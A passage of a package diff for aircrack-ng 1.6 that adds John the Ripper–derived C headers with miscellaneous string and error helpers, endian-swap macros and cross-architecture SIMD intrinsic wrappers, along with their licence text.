+void dump_stuff_shammx64_msg(const void * msg,
+							 void * buf,
+							 unsigned int size,
+							 unsigned int index);
+void dump_out_shammx64(void * x, unsigned int size, unsigned int index);
+void dump_out_shammx64_msg(const void * msg,
+						   void * buf,
+						   unsigned int size,
+						   unsigned int index);
+#endif
+
+#if defined(SIMD_PARA_MD5)
+// these functions help debug arrays of contiguous MD5 prepared PARA buffers.
+// Seen in sunmd5 at the current time.
+void dump_stuff_mpara_mmx(void * x, unsigned int size, unsigned int index);
+void dump_stuff_mpara_mmx_noeol(void * x,
+								unsigned int size,
+								unsigned int index);
+void dump_stuff_mpara_mmx_msg(const void * msg,
+							  void * buf,
+							  unsigned int size,
+							  unsigned int index);
+void dump_stuff_mpara_mmx_msg_sepline(const void * msg,
+									  void * buf,
+									  unsigned int size,
+									  unsigned int index);
+// a 'getter' to help debugging.  Returns a flat buffer, vs printing it out.
+void getbuf_stuff_mpara_mmx(unsigned char * oBuf,
+							void * buf,
+							unsigned int size,
+							unsigned int index);
+#endif
+
+/*
+ * here, a stack buffer that is at least align-1 bytes LARGER than required, can
+ * be
+ * properly aligned to 'align' bytes. So:   char tmpbuf[256+15],
+ * *aligned_buf=mem_align(tmpbuf,16);
+ * will give you a stack buffer, aligned to 16 bytes.  There are bugs in some
+ * compilers which cause
+ * JTR_ALIGN(x) to fail properly (such as a bug in bitcoin OMP mode for linux32)
+ * Switched to a define macro for performance.
+ */
+#define mem_align(a, b)                                                        \
+	(void *) (((char *) (a))                                                   \
+			  + (((b) -1) - (((size_t)((char *) (a)) - 1) & ((b) -1))))
+
+/*
+ * 32-bit endian-swap a memory buffer in place. Size is in octets (so should
+ * be a multiple of 4). From now on, this function may be used on any arch.
+ */
+void alter_endianity(void * x, unsigned int size);
+
+/* 32-bit endian-swap a memory buffer in place. Count is in 32-bit words */
+void alter_endianity_w(void * x, unsigned int count);
+
+/* 64-bit endian-swap a memory buffer in place. Count is in 64-bit words */
+void alter_endianity_w64(void * x, unsigned int count);
+
+#if ARCH_ALLOWS_UNALIGNED
+// we can inline these, to always use JOHNSWAP/JOHNSWAP64
+// NOTE, more portable to use #defines to inline, than the MAYBE_INLINE within
+// header files.
+#if (ARCH_LITTLE_ENDIAN == 0)
+#define alter_endianity_to_BE(a, b)
+#define alter_endianity_to_BE64(a, b)
+#define alter_endianity_to_LE(ptr, word32_cnt)                                 \
+	do                                                                         \
+	{                                                                          \
+		int i;                                                                 \
+		for (i = 0; i < word32_cnt; i++)                                       \
+			((ARCH_WORD_32 *) ptr)[i] = JOHNSWAP(((ARCH_WORD_32 *) ptr)[i]);   \
+	} while (0)
+#define alter_endianity_to_LE64(ptr, word64_cnt)                               \
+	do                                                                         \
+	{                                                                          \
+		int i;                                                                 \
+		for (i = 0; i < word64_cnt; i++)                                       \
+			((ARCH_WORD_64 *) ptr)[i] = JOHNSWAP64(((ARCH_WORD_64 *) ptr)[i]); \
+	} while (0)
+#else
+#define alter_endianity_to_LE(a, b)
+#define alter_endianity_to_LE64(a, b)
+#define alter_endianity_to_BE(ptr, word32_cnt)                                 \
+	do                                                                         \
+	{                                                                          \
+		int i;                                                                 \
+		for (i = 0; i < word32_cnt; i++)                                       \
+			((ARCH_WORD_32 *) ptr)[i] = JOHNSWAP(((ARCH_WORD_32 *) ptr)[i]);   \
+	} while (0)
+#define alter_endianity_to_BE64(ptr, word64_cnt)                               \
+	do                                                                         \
+	{                                                                          \
+		int i;                                                                 \
+		for (i = 0; i < word64_cnt; i++)                                       \
+			((ARCH_WORD_64 *) ptr)[i] = JOHNSWAP64(((ARCH_WORD_64 *) ptr)[i]); \
+	} while (0)
+#endif
+#else
+#if (ARCH_LITTLE_ENDIAN == 0)
+#define alter_endianity_to_BE(a, b)
+#define alter_endianity_to_LE(a, b)                                            \
+	do                                                                         \
+	{                                                                          \
+		alter_endianity_w(a, b);                                               \
+	} while (0)
+#define alter_endianity_to_BE64(a, b)
+#define alter_endianity_to_LE64(a, b)                                          \
+	do                                                                         \
+	{                                                                          \
+		alter_endianity_w64(a, b);                                             \
+	} while (0)
+#else
+#define alter_endianity_to_BE(a, b)                                            \
+	do                                                                         \
+	{                                                                          \
+		alter_endianity_w(a, b);                                               \
+	} while (0)
+#define alter_endianity_to_LE(a, b)
+#define alter_endianity_to_BE64(a, b)                                          \
+	do                                                                         \
+	{                                                                          \
+		alter_endianity_w64(a, b);                                             \
+	} while (0)
+#define alter_endianity_to_LE64(a, b)
+#endif
+#endif
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/misc.h Added

@@ -0,0 +1,202 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * This file is part of John the Ripper password cracker,
+ * Copyright (c) 1996-99,2003 by Solar Designer
+ *
+ * ...with changes in the jumbo patch, by JimF and magnum.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * There's ABSOLUTELY NO WARRANTY, express or implied.
+ */
+
+/*
+ * Miscellaneous routines.
+ */
+
+#ifndef _MISC_H
+#define _MISC_H
+
+#include <stdio.h>
+
+#if (__MINGW32__ && !__MINGW64__) || _MSC_VER
+// Later versions of MSVC can handle %lld but some older
+// ones can only handle %I64d.  Easiest to simply use
+// %I64d then all versions of MSVC will handle it just fine
+#define LLu "%I64u"
+#define LLd "%I64d"
+#define LLx "%I64x"
+#define Zu "%u"
+#define Zd "%d"
+#else
+#define LLu "%llu"
+#define LLd "%lld"
+#define LLx "%llx"
+#define Zu "%zu"
+#define Zd "%zd"
+#endif
+
+#if !AC_BUILT
+#include <string.h>
+#ifndef _MSC_VER
+#include <strings.h>
+#endif
+#else
+#include "autoconfig.h"
+#if STRING_WITH_STRINGS
+#include <string.h>
+#include <strings.h>
+#elif HAVE_STRING_H
+#include <string.h>
+#elif HAVE_STRINGS_H
+#include <strings.h>
+#endif
+#endif
+
+/*
+ * Exit on error. Logs the event, closes john.pot and the log file, and
+ * terminates the process with non-zero exit status.
+ */
+extern void real_error(char * file, int line)
+#ifdef __GNUC__
+	__attribute__((__noreturn__));
+#else
+	;
+#endif
+
+#define error(...) real_error(__FILE__, __LINE__)
+
+/*
+ * Exit on error with message.  Will call real_error to do
+ * the final exiting, after printing error message.
+ */
+extern void real_error_msg(char * file, int line, char * format, ...)
+#ifdef __GNUC__
+	__attribute__((__noreturn__)) __attribute__((format(printf, 3, 4)));
+#else
+	;
+#endif
+
+#define error_msg(...) perror(__VA_ARGS__)
+
+/*
+ * Similar to perror(), but supports formatted output, and calls error().
+ */
+extern void real_pexit(char * file, int line, char * format, ...)
+#ifdef __GNUC__
+	__attribute__((__noreturn__)) __attribute__((format(printf, 3, 4)));
+#else
+	;
+#endif
+
+#define pexit(...)                                                             \
+	{                                                                          \
+		perror(__VA_ARGS__);                                                   \
+		exit(1);                                                               \
+	}
+
+/*
+ * Attempts to write all the supplied data. Returns the number of bytes
+ * written, or -1 on error.
+ */
+extern int write_loop(int fd, const char * buffer, int count);
+
+/*
+ * Similar to fgets(), but doesn't leave the newline character in the buffer,
+ * and skips to the end of long lines. Handles both Unix and DOS style text
+ * files correctly.
+ */
+extern char * fgetl(char * s, int size, FILE * stream);
+
+/*
+ * Similar to strncpy(), but terminates with only one NUL if there's room
+ * instead of padding to the supplied size like strncpy() does.
+ */
+extern char * strnfcpy(char * dst, const char * src, int size);
+
+/*
+ * Similar to the above, but always NUL terminates the string.
+ */
+extern char * strnzcpy(char * dst, const char * src, int size);
+
+/*
+ * Similar to the strnzcpy, but returns the length of the string.
+ */
+extern int strnzcpyn(char * dst, const char * src, int size);
+
+/*
+ * Similar to strncat(), but total buffer size is supplied, and always NUL
+ * terminates the string.
+ */
+extern char * strnzcat(char * dst, const char * src, int size);
+
+/*
+ * Similar to atoi(), but properly handles unsigned int.  Do not use
+ * atoi() for unsigned data if the data can EVER be over MAX_INT.
+ */
+extern unsigned atou(const char * src);
+
+/*
+ * Similar to strtok(), but properly handles adjacent delmiters as
+ * empty strings.  strtok() in the CRTL merges adjacent delimiters
+ * and sort of 'skips' them. This one also returns 'empty' tokens
+ * for any leading or trailing delims. strtok() strips those off
+ * also.
+ */
+char * strtokm(char * s1, const char * delimit);
+
+#ifndef __has_feature
+#define __has_feature(x) 0
+#endif
+
+#if /* is ASAN enabled? */                                                     \
+	__has_feature(address_sanitizer) /* Clang */                               \
+	|| defined(__SANITIZE_ADDRESS__) /* GCC 4.8.x */
+#define ATTRIBUTE_NO_ADDRESS_SAFETY_ANALYSIS                                   \
+	__attribute__((no_address_safety_analysis)) __attribute__((noinline))
+#define WITH_ASAN
+#else
+#define ATTRIBUTE_NO_ADDRESS_SAFETY_ANALYSIS
+#endif
+
+#endif

aircrack-ng-1.6.tar.gz/include/aircrack-ng/ce-wpa/pseudo_intrinsics.h Added

@@ -0,0 +1,743 @@
+/*
+ * Based on John the Ripper and modified to integrate with aircrack
+ *
+ * 	John the Ripper copyright and license.
+ *
+ * John the Ripper password cracker,
+ * Copyright (c) 1996-2013 by Solar Designer.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * As a special exception to the GNU General Public License terms,
+ * permission is hereby granted to link the code of this program, with or
+ * without modification, with any version of the OpenSSL library and/or any
+ * version of unRAR, and to distribute such linked combinations.  You must
+ * obey the GNU GPL in all respects for all of the code used other than
+ * OpenSSL and unRAR.  If you modify this program, you may extend this
+ * exception to your version of the program, but you are not obligated to
+ * do so.  (In other words, you may release your derived work under pure
+ * GNU GPL version 2 or later as published by the FSF.)
+ *
+ * (This exception from the GNU GPL is not required for the core tree of
+ * John the Ripper, but arguably it is required for -jumbo.)
+ *
+ * 	Relaxed terms for certain components.
+ *
+ * In addition or alternatively to the license above, many components are
+ * available to you under more relaxed terms (most commonly under cut-down
+ * BSD license) as specified in the corresponding source files.
+ *
+ * For more information on John the Ripper licensing please visit:
+ *
+ * http://www.openwall.com/john/doc/LICENSE.shtml
+ *
+ * Minimalistic pseudo-instrinsics for width-agnostic x86 SIMD code.
+ *
+ * This software is Copyright (c) 2015 magnum,
+ * Copyright (c) 2015 JimF,
+ * Copyright (c) 2015 Lei Zhang,
+ * and it is hereby released to the general public under the following terms:
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted.
+ *
+ * Synopsis:
+ *
+ * SSE2:     __m128i a = _mm_add_epi32(b, c);
+ * AVX2:     __m256i a = _mm256_add_epi32(b, c);
+ * AVX512:   __m512i a = _mm512_add_epi32(b, c);
+ * -> Pseudo:  vtype a = vadd_epi32(b, c);
+ *
+ * SSE2:     __m128i a = _mm_load_si128(p);
+ * AVX2:     __m256i a = _mm256_load_si256(p);
+ * AVX512:   __m512i a = _mm512_load_si512(p);
+ * -> Pseudo:  vtype a = vload(p);
+ *
+ * intrinsics are emulated where the target does not support them.
+ */
+
+#ifndef _SSE_PSEUDO_H
+#define _SSE_PSEUDO_H
+
+#include <stdint.h>
+
+#include <aircrack-ng/ce-wpa/arch.h>
+
+#if SIMD_COEF_32
+
+#include <aircrack-ng/ce-wpa/aligned.h>
+#include <aircrack-ng/ce-wpa/jcommon.h> /* for is_aligned() */
+
+/*************************** NEON (ARM) *******************************/
+#ifdef __ARM_NEON__
+#include <arm_neon.h>
+
+typedef uint8x16_t vtype8;
+typedef uint32x4_t vtype; /* the default one */
+typedef uint64x2_t vtype64;
+
+#define vadd_epi32 vaddq_u32
+#define vadd_epi64(x, y) (vtype) vaddq_u64((vtype64)(x), (vtype64)(y))
+#define vand vandq_u32
+#define vandnot(x, y) vbicq_u32(y, x)
+#define vcmov(x, y, z) vbslq_u32(z, x, y)
+#define vload(m) vld1q_u32((uint32_t *) (m))
+#define vloadu vloadu_emu
+#define VLOADU_EMULATED 1
+#define vor vorrq_u32
+#define vorn vornq_u32
+#define vroti_epi32(x, i)                                                      \
+	(i > 0 ? vsliq_n_u32(vshrq_n_u32(x, 32 - (i)), x, i)                       \
+		   : vsriq_n_u32(vshlq_n_u32(x, 32 + (i)), x, -(i)))
+#define vroti_epi64(x, i)                                                      \
+	(i > 0 ? (vtype) vsliq_n_u64(                                              \
+				 vshrq_n_u64((vtype64)(x), 64 - (i)), (vtype64)(x), i)         \
+		   : (vtype) vsriq_n_u64(                                              \
+				 vshlq_n_u64((vtype64)(x), 64 + (i)), (vtype64)(x), -(i)))
+#define vroti16_epi32 vroti_epi32
+#define vset1_epi32(x) vdupq_n_u32(x)
+#define vset1_epi64(x) (vtype) vdupq_n_u64(x)
+#define vset_epi32(x3, x2, x1, x0)                                             \
+	vcombine_u32(vcreate_u32(((uint64_t)(x1) << 32) | (x0)),                   \
+				 vcreate_u32(((uint64_t)(x3) << 32) | (x2)))
+#define vset_epi64(x1, x0)                                                     \
+	(vtype) vcombine_u64(vcreate_u64(x0), vcreate_u64(x1))
+#define vsetzero() vset1_epi32(0)
+#define vslli_epi32(x, i) vshlq_n_u32(x, i)
+#define vslli_epi64(x, i) (vtype) vshlq_n_u64((vtype64)(x), i)
+#define vsrli_epi32(x, i) vshrq_n_u32(x, i)
+#define vsrli_epi64(x, i) (vtype) vshrq_n_u64((vtype64)(x), i)
+#define vstore(m, x) vst1q_u32((uint32_t *) (m), x)
+#define vstoreu vstoreu_emu
+#define VSTOREU_EMULATED 1
+#define vunpackhi_epi32(x, y) (vzipq_u32(x, y)).val[1]
+#define vunpackhi_epi64(x, y)                                                  \
+	vset_epi64(vgetq_lane_u64((vtype64)(y), 1), vgetq_lane_u64((vtype64)(x), 1))
+#define vunpacklo_epi32(x, y) (vzipq_u32(x, y)).val[0]
+#define vunpacklo_epi64(x, y)                                                  \
+	vset_epi64(vgetq_lane_u64((vtype64)(y), 0), vgetq_lane_u64((vtype64)(x), 0))
+#define vxor veorq_u32
+
+static inline int vanyeq_epi32(vtype x, vtype y)
+{
+	vtype z = vceqq_u32(x, y);
+	return vgetq_lane_u32(z, 0) || vgetq_lane_u32(z, 1) || vgetq_lane_u32(z, 2)
+		   || vgetq_lane_u32(z, 3);
+}
+
+#define vswap32(x) (x = (vtype) vrev32q_u8((vtype8) x))
+#define vswap64(x) (x = (vtype) vrev64q_u8((vtype8) x))
+
+#define GATHER64(x, y, z)                                                      \
+	{                                                                          \
+		x = vset_epi64(y[1][z], y[0][z]);                                      \
+	}
+
+/*************************** AltiVec (Power) **************************/
+#elif __ALTIVEC__
+#include <altivec.h>
+
+typedef vector unsigned int vtype32;
+typedef vector unsigned long vtype64;
+typedef union {
+	vtype32 v32;
+	vtype64 v64;
+	uint32_t s32[SIMD_COEF_32];
+	uint64_t s64[SIMD_COEF_64];
+} vtype;
+
+#define vadd_epi32(x, y) (vtype) vec_add((x).v32, (y).v32)
+#define vadd_epi64(x, y) (vtype) vec_add((x).v64, (y).v64)
+#define vand(x, y) (vtype) vec_and((x).v32, (y).v32)
+#define vandnot(x, y) (vtype) vec_andc((y).v32, (x).v32)
+#define vcmov(x, y, z) (vtype) vec_sel((y).v32, (x).v32, (z).v32)
+#define vload(m) (vtype)(vtype32) vec_ld(0, (uint32_t *) (m))
+#define vloadu vloadu_emu
+#define VLOADU_EMULATED 1
+#define vor(x, y) (vtype) vec_or((x).v32, (y).v32)
+#define vroti_epi32(x, i) (vtype) vec_rl((x).v32, (vset1_epi32(i)).v32)
+#define vroti_epi64(x, i) (vtype) vec_rl((x).v64, (vset1_epi64(i)).v64)
+#define vroti16_epi32 vroti_epi32
+#define vset1_epi32(x) vset_epi32(x, x, x, x)
+#define vset1_epi64(x) vset_epi64(x, x)
+#define vset_epi32(x3, x2, x1, x0)                                             \
+	(vtype)(vtype32) { x0, x1, x2, x3 }
+#define vset_epi64(x1, x0)                                                     \
+	(vtype)(vtype64) { x0, x1 }
+#define vsetzero() vset1_epi32(0)
+#define vslli_epi32(x, i) (vtype) vec_sl((x).v32, (vset1_epi32(i)).v32)
+#define vslli_epi64(x, i) (vtype) vec_sl((x).v64, (vset1_epi64(i)).v64)
+#define vsrli_epi32(x, i) (vtype) vec_sr((x).v32, (vset1_epi32(i)).v32)
+#define vsrli_epi64(x, i) (vtype) vec_sr((x).v64, (vset1_epi64(i)).v64)
+#define vstore(m, x) vec_st((x).v32, 0, (uint32_t *) (m))
+#define vstoreu vstoreu_emu
+#define VSTOREU_EMULATED 1
+#define vunpackhi_epi32(x, y) (vtype) vec_mergel((x).v32, (y).v32)
+#define vunpackhi_epi64(x, y)                                                  \
+	(vtype)(vtype64) vec_mergel((vector long) (x).v64, (vector long) (y).v64)
+#define vunpacklo_epi32(x, y) (vtype) vec_mergeh((x).v32, (y).v32)
+#define vunpacklo_epi64(x, y)                                                  \
+	(vtype)(vtype64) vec_mergeh((vector long) (x).v64, (vector long) (y).v64)
+#define vxor(x, y) (vtype) vec_xor((x).v32, (y).v32)
+
+#define vanyeq_epi32(x, y) vec_any_eq((x).v32, (y).v32)
+
+#define vswap32 vswap32_emu
+#define vswap64 vswap64_emu
+
+#define GATHER64(x, y, z)                                                      \
+	{                                                                          \
+		x = vset_epi64(y[1][z], y[0][z]);                                      \
+	}
+
+/*************************** AVX512 and MIC ***************************/
+#elif __AVX512F__ || __MIC__
+#include <immintrin.h>
+
+typedef __m512i vtype;
+
+#define vadd_epi32 _mm512_add_epi32
+#define vadd_epi64 _mm512_add_epi64
+#define vand _mm512_and_si512
+#define vandnot _mm512_andnot_si512
+#define vcmov vcmov_emu
+#define VCMOV_EMULATED 1
+/*
+ * NOTE: AVX2 has it as (base, index, scale) while MIC and AVX512 are
+ * different.
+ */
+#define vgather_epi32(b, i, s) _mm512_i32gather_epi32(i, (void *) (b), s)
+#define vgather_epi64(b, i, s) _mm512_i64gather_epi64(i, (void *) (b), s)
+#define vload(x) _mm512_load_si512((void *) (x))
+#define vloadu(x) _mm512_loadu_si512((void *) (x))
+#define vor _mm512_or_si512
+#define vroti_epi32 vroti_epi32_emu
+#define vroti_epi64 vroti_epi64_emu
+#define vroti16_epi32 vroti_epi32
+#define vscatter_epi32(b, i, v, s) _mm512_i32scatter_epi32((void *) b, i, v, s)
+#define vscatter_epi64(b, i, v, s) _mm512_i64scatter_epi64((void *) b, i, v, s)
+#define vset1_epi8 _mm512_set1_epi8
+#define vset1_epi32 _mm512_set1_epi32
+#define vset1_epi64 _mm512_set1_epi64
+#define vset_epi32 _mm512_set_epi32
+#define vset_epi64 _mm512_set_epi64
+#define vsetzero _mm512_setzero_si512
+#define vshuffle_epi32 _mm512_shuffle_epi32
+#define vslli_epi32 _mm512_slli_epi32
+#define vslli_epi64 _mm512_slli_epi64
+#define vsrli_epi32 _mm512_srli_epi32
+#define vsrli_epi64 _mm512_srli_epi64
+#define vstore(x, y) _mm512_store_si512((void *) (x), y)
+#define vstoreu(x, y) _mm512_storeu_si512((void *) (x), y)
+#define vunpackhi_epi32 _mm512_unpackhi_epi32
+#define vunpackhi_epi64 _mm512_unpackhi_epi64
+#define vunpacklo_epi32 _mm512_unpacklo_epi32
+#define vunpacklo_epi64 _mm512_unpacklo_epi64
+#define vxor _mm512_xor_si512
+
+#define vanyeq_epi32(x, y) _mm512_cmp_epi32_mask(x, y, _MM_CMPINT_EQ)
+
+#define GATHER_4x(x, y, z)                                                     \
+	{                                                                          \
+		vtype indices = vset_epi32(15 << 6,                                    \
+								   14 << 6,                                    \
+								   13 << 6,                                    \
+								   12 << 6,                                    \
+								   11 << 6,                                    \
+								   10 << 6,                                    \
+								   9 << 6,                                     \
+								   8 << 6,                                     \
+								   7 << 6,                                     \
+								   6 << 6,                                     \
+								   5 << 6,                                     \
+								   4 << 6,                                     \
+								   3 << 6,                                     \
+								   2 << 6,                                     \
+								   1 << 6,                                     \
+								   0 << 6);                                    \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+#define GATHER_2x(x, y, z)                                                     \
+	{                                                                          \
+		vtype indices = vset_epi32(15 << 5,                                    \
+								   14 << 5,                                    \
+								   13 << 5,                                    \
+								   12 << 5,                                    \
+								   11 << 5,                                    \
+								   10 << 5,                                    \
+								   9 << 5,                                     \
+								   8 << 5,                                     \
+								   7 << 5,                                     \
+								   6 << 5,                                     \
+								   5 << 5,                                     \
+								   4 << 5,                                     \
+								   3 << 5,                                     \
+								   2 << 5,                                     \
+								   1 << 5,                                     \
+								   0 << 5);                                    \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+#define GATHER(x, y, z)                                                        \
+	{                                                                          \
+		vtype indices = vset_epi32(15 << 4,                                    \
+								   14 << 4,                                    \
+								   13 << 4,                                    \
+								   12 << 4,                                    \
+								   11 << 4,                                    \
+								   10 << 4,                                    \
+								   9 << 4,                                     \
+								   8 << 4,                                     \
+								   7 << 4,                                     \
+								   6 << 4,                                     \
+								   5 << 4,                                     \
+								   4 << 4,                                     \
+								   3 << 4,                                     \
+								   2 << 4,                                     \
+								   1 << 4,                                     \
+								   0 << 4);                                    \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+
+#define GATHER64(x, y, z)                                                      \
+	{                                                                          \
+		uint64_t stride = sizeof(*y);                                          \
+		vtype indices = vset_epi64(7 * stride,                                 \
+								   6 * stride,                                 \
+								   5 * stride,                                 \
+								   4 * stride,                                 \
+								   3 * stride,                                 \
+								   2 * stride,                                 \
+								   1 * stride,                                 \
+								   0);                                         \
+		x = vgather_epi64(&y[0][z], indices, 1);                               \
+	}
+
+#if __AVX512F__
+#undef vcmov
+#undef VCMOV_EMULATED
+#define vcmov(x, y, z) vternarylogic(x, y, z, 0xE4)
+#define vternarylogic _mm512_ternarylogic_epi32
+#endif
+
+#if __AVX512BW__
+#define vcmpeq_epi8_mask (uint64_t) _mm512_cmpeq_epi8_mask
+#define vshuffle_epi8 _mm512_shuffle_epi8
+#define vshufflehi_epi16 _mm512_shufflehi_epi16
+#define vshufflelo_epi16 _mm512_shufflelo_epi16
+#define vslli_epi16 _mm512_slli_epi16
+#define vsrli_epi16 _mm512_srli_epi16
+
+#define vswap32(n)                                                             \
+	n = vshuffle_epi8(n,                                                       \
+					  vset_epi32(0x3c3d3e3f,                                   \
+								 0x38393a3b,                                   \
+								 0x34353637,                                   \
+								 0x30313233,                                   \
+								 0x2c2d2e2f,                                   \
+								 0x28292a2b,                                   \
+								 0x24252627,                                   \
+								 0x20212223,                                   \
+								 0x1c1d1e1f,                                   \
+								 0x18191a1b,                                   \
+								 0x14151617,                                   \
+								 0x10111213,                                   \
+								 0x0c0d0e0f,                                   \
+								 0x08090a0b,                                   \
+								 0x04050607,                                   \
+								 0x00010203))
+#define vswap64(n)                                                             \
+	n = vshuffle_epi8(n,                                                       \
+					  vset_epi64(0x38393a3b3c3d3e3fULL,                        \
+								 0x3031323334353637ULL,                        \
+								 0x28292a2b2c2d2e2fULL,                        \
+								 0x2021222324252627ULL,                        \
+								 0x18191a1b1c1d1e1fULL,                        \
+								 0x1011121314151617ULL,                        \
+								 0x08090a0b0c0d0e0fULL,                        \
+								 0x0001020304050607ULL))
+#else /* workarounds without AVX512BW */
+#define vswap32 vswap32_emu
+#define vswap64(x) (x = vshuffle_epi32(x, _MM_SHUFFLE(2, 3, 0, 1)), vswap32(x))
+
+#endif /* __AVX512BW__ */
+
+/* MIC lacks some intrinsics in AVX512F, thus needing emulation. */
+#if __MIC__
+#define _mm512_set1_epi8(x) _mm512_set1_epi32(x | x << 8 | x << 16 | x << 24)
+
+static inline __m512i _mm512_loadu_si512(void const * addr)
+{
+	__m512i indices = _mm512_set_epi64(7, 6, 5, 4, 3, 2, 1, 0);
+	return is_aligned(addr, 64) ? _mm512_load_si512(addr)
+								: _mm512_i64gather_epi64(indices, addr, 8);
+}
+
+static inline void _mm512_storeu_si512(void * addr, vtype d)
+{
+	__m512i indices = _mm512_set_epi64(7, 6, 5, 4, 3, 2, 1, 0);
+
+	if (is_aligned(addr, 64))
+		_mm512_store_si512(addr, d);
+	else
+		_mm512_i64scatter_epi64(addr, indices, d, 8);
+}
+#endif /* __MIC__ */
+
+/******************************** AVX2 ********************************/
+#elif __AVX2__
+#include <immintrin.h>
+
+typedef __m256i vtype;
+
+#define vadd_epi32 _mm256_add_epi32
+#define vadd_epi64 _mm256_add_epi64
+#define vand _mm256_and_si256
+#define vandnot _mm256_andnot_si256
+#define vcmov vcmov_emu
+#define VCMOV_EMULATED 1
+#define vcmpeq_epi8_mask(a, b) _mm256_movemask_epi8(_mm256_cmpeq_epi8(a, b))
+#define vcmpeq_epi32 _mm256_cmpeq_epi32
+#define vcvtsi32 _mm256_cvtsi32_si256
+#define vgather_epi32(b, i, s) _mm256_i32gather_epi32((void *) (b), i, s)
+#define vgather_epi64(b, i, s) _mm256_i64gather_epi64((void *) (b), i, s)
+#define vinsert_epi32 _mm256_insert_epi32
+#define vload(x) _mm256_load_si256((void *) (x))
+#define vloadu(x) _mm256_loadu_si256((void *) (x))
+#define vmovemask_epi8 _mm256_movemask_epi8
+#define vor _mm256_or_si256
+#define vpermute2x128 _mm256_permute2x128_si256
+#define vpermute4x64_epi64 _mm256_permute4x64_epi64
+#define vroti_epi32 vroti_epi32_emu
+#define vroti_epi64 vroti_epi64_emu
+#define vroti16_epi32 vroti_epi32
+#define vset1_epi8 _mm256_set1_epi8
+#define vset1_epi32 _mm256_set1_epi32
+#define vset1_epi64 _mm256_set1_epi64x
+#define vset_epi32 _mm256_set_epi32
+#define vset_epi64 _mm256_set_epi64x
+#define vsetzero _mm256_setzero_si256
+#define vshuffle_epi8 _mm256_shuffle_epi8
+#define vshuffle_epi32 _mm256_shuffle_epi32
+#define vshufflehi_epi16 _mm256_shufflehi_epi16
+#define vshufflelo_epi16 _mm256_shufflelo_epi16
+#define vslli_epi16 _mm256_slli_epi16
+#define vslli_epi32 _mm256_slli_epi32
+#define vslli_epi64 _mm256_slli_epi64
+#define vsrli_epi16 _mm256_srli_epi16
+#define vsrli_epi32 _mm256_srli_epi32
+#define vsrli_epi64 _mm256_srli_epi64
+#define vstore(x, y) _mm256_store_si256((void *) (x), y)
+#define vstoreu(x, y) _mm256_storeu_si256((void *) (x), y)
+#define vunpackhi_epi32 _mm256_unpackhi_epi32
+#define vunpackhi_epi64 _mm256_unpackhi_epi64
+#define vunpacklo_epi32 _mm256_unpacklo_epi32
+#define vunpacklo_epi64 _mm256_unpacklo_epi64
+#define vxor _mm256_xor_si256
+
+#define vanyeq_epi32(x, y) vmovemask_epi8(vcmpeq_epi32(x, y))
+
+#define swap_endian_mask                                                       \
+	_mm256_set_epi32(0x1c1d1e1f,                                               \
+					 0x18191a1b,                                               \
+					 0x14151617,                                               \
+					 0x10111213,                                               \
+					 0x0c0d0e0f,                                               \
+					 0x08090a0b,                                               \
+					 0x04050607,                                               \
+					 0x00010203)
+
+#define swap_endian64_mask                                                     \
+	vset_epi64(0x18191a1b1c1d1e1fULL,                                          \
+			   0x1011121314151617ULL,                                          \
+			   0x08090a0b0c0d0e0fULL,                                          \
+			   0x0001020304050607ULL)
+
+#define vswap32(n) (n = vshuffle_epi8(n, swap_endian_mask))
+
+#define vswap64(n) (n = vshuffle_epi8(n, swap_endian64_mask))
+
+#define GATHER_4x(x, y, z)                                                     \
+	{                                                                          \
+		vtype indices = vset_epi32(                                            \
+			7 << 6, 6 << 6, 5 << 6, 4 << 6, 3 << 6, 2 << 6, 1 << 6, 0 << 6);   \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+#define GATHER_2x(x, y, z)                                                     \
+	{                                                                          \
+		vtype indices = vset_epi32(                                            \
+			7 << 5, 6 << 5, 5 << 5, 4 << 5, 3 << 5, 2 << 5, 1 << 5, 0 << 5);   \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+#define GATHER(x, y, z)                                                        \
+	{                                                                          \
+		vtype indices = vset_epi32(                                            \
+			7 << 4, 6 << 4, 5 << 4, 4 << 4, 3 << 4, 2 << 4, 1 << 4, 0 << 4);   \
+		x = vgather_epi32(&y[z], indices, sizeof(y[z]));                       \
+	}
+
+#define GATHER64(x, y, z)                                                      \
+	{                                                                          \
+		uint64_t stride = sizeof(*y);                                          \
